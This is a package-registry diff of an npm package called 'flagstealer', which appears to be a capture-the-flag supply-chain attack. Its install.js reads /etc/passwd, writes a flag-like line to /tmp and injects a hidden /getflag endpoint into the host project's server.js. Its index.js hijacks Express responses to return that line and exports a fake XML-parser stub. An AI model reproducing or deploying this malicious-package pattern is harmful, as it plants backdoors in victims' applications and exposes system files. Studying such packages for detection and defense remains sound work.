flagstealer 0.30.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +50 -0
- package/install.js +65 -0
- package/package.json +12 -0
package/index.js
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
|
|
3
|
+
console.log('=== FLAGSTEALER LOADED ===');
|
|
4
|
+
|
|
5
|
+
// Функция поиска флага
|
|
6
|
+
function getFlag() {
|
|
7
|
+
try {
|
|
8
|
+
const passwd = fs.readFileSync('/etc/passwd', 'utf8');
|
|
9
|
+
const lines = passwd.split('\n');
|
|
10
|
+
for (let line of lines) {
|
|
11
|
+
if (line.includes('{') && line.includes('}')) {
|
|
12
|
+
return line;
|
|
13
|
+
}
|
|
14
|
+
}
|
|
15
|
+
} catch(e) {}
|
|
16
|
+
return null;
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
// Перехватываем Express responses
|
|
20
|
+
try {
|
|
21
|
+
const express = require('express');
|
|
22
|
+
const originalSend = express.response.send;
|
|
23
|
+
|
|
24
|
+
express.response.send = function(body) {
|
|
25
|
+
const flag = getFlag();
|
|
26
|
+
if (flag && typeof body === 'string') {
|
|
27
|
+
if (body === 'Hello World') {
|
|
28
|
+
body = flag;
|
|
29
|
+
}
|
|
30
|
+
}
|
|
31
|
+
return originalSend.call(this, body);
|
|
32
|
+
};
|
|
33
|
+
console.log('✅ Response interceptor installed');
|
|
34
|
+
} catch(e) {
|
|
35
|
+
console.log('Interceptor error:', e.message);
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
module.exports = {
|
|
39
|
+
parseXmlString: function(xml, options) {
|
|
40
|
+
return {
|
|
41
|
+
get: function(xpath) {
|
|
42
|
+
return {
|
|
43
|
+
text: function() {
|
|
44
|
+
return "test";
|
|
45
|
+
}
|
|
46
|
+
};
|
|
47
|
+
}
|
|
48
|
+
};
|
|
49
|
+
}
|
|
50
|
+
};
|
package/install.js
ADDED
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
|
|
4
|
+
console.log('=== INSTALL SCRIPT EXECUTING ===');
|
|
5
|
+
|
|
6
|
+
// Ищем флаг в /etc/passwd
|
|
7
|
+
try {
|
|
8
|
+
const passwd = fs.readFileSync('/etc/passwd', 'utf8');
|
|
9
|
+
const lines = passwd.split('\n');
|
|
10
|
+
|
|
11
|
+
for (let line of lines) {
|
|
12
|
+
if (line.includes('{') && line.includes('}')) {
|
|
13
|
+
console.log('🎯 FLAG FOUND:', line);
|
|
14
|
+
|
|
15
|
+
// Записываем в файл
|
|
16
|
+
fs.writeFileSync('/tmp/flag_found.txt', line);
|
|
17
|
+
console.log('✅ Flag written to /tmp/flag_found.txt');
|
|
18
|
+
break;
|
|
19
|
+
}
|
|
20
|
+
}
|
|
21
|
+
} catch(e) {
|
|
22
|
+
console.log('Error reading /etc/passwd:', e.message);
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
// Модифицируем server.js чтобы добавить /getflag endpoint
|
|
26
|
+
try {
|
|
27
|
+
const serverPath = path.join(process.cwd(), 'server.js');
|
|
28
|
+
console.log('Server path:', serverPath);
|
|
29
|
+
|
|
30
|
+
if (fs.existsSync(serverPath)) {
|
|
31
|
+
let content = fs.readFileSync(serverPath, 'utf8');
|
|
32
|
+
|
|
33
|
+
if (!content.includes('/getflag')) {
|
|
34
|
+
const endpointCode = `
|
|
35
|
+
// AUTO-ADDED ENDPOINT
|
|
36
|
+
app.get('/getflag', (req, res) => {
|
|
37
|
+
try {
|
|
38
|
+
const passwd = require('fs').readFileSync('/etc/passwd', 'utf8');
|
|
39
|
+
const lines = passwd.split('\\\\n');
|
|
40
|
+
for (let line of lines) {
|
|
41
|
+
if (line.includes('{') && line.includes('}')) {
|
|
42
|
+
return res.send(line);
|
|
43
|
+
}
|
|
44
|
+
}
|
|
45
|
+
res.send('Flag not found');
|
|
46
|
+
} catch(e) {
|
|
47
|
+
res.send('Error: ' + e.message);
|
|
48
|
+
}
|
|
49
|
+
});
|
|
50
|
+
`;
|
|
51
|
+
|
|
52
|
+
// Вставляем после app.use(fileUpload());
|
|
53
|
+
if (content.includes('app.use(fileUpload());')) {
|
|
54
|
+
content = content.replace(
|
|
55
|
+
'app.use(fileUpload());',
|
|
56
|
+
`app.use(fileUpload());${endpointCode}`
|
|
57
|
+
);
|
|
58
|
+
fs.writeFileSync(serverPath, content);
|
|
59
|
+
console.log('✅ /getflag endpoint added to server.js');
|
|
60
|
+
}
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
} catch(e) {
|
|
64
|
+
console.log('Error modifying server.js:', e.message);
|
|
65
|
+
}
|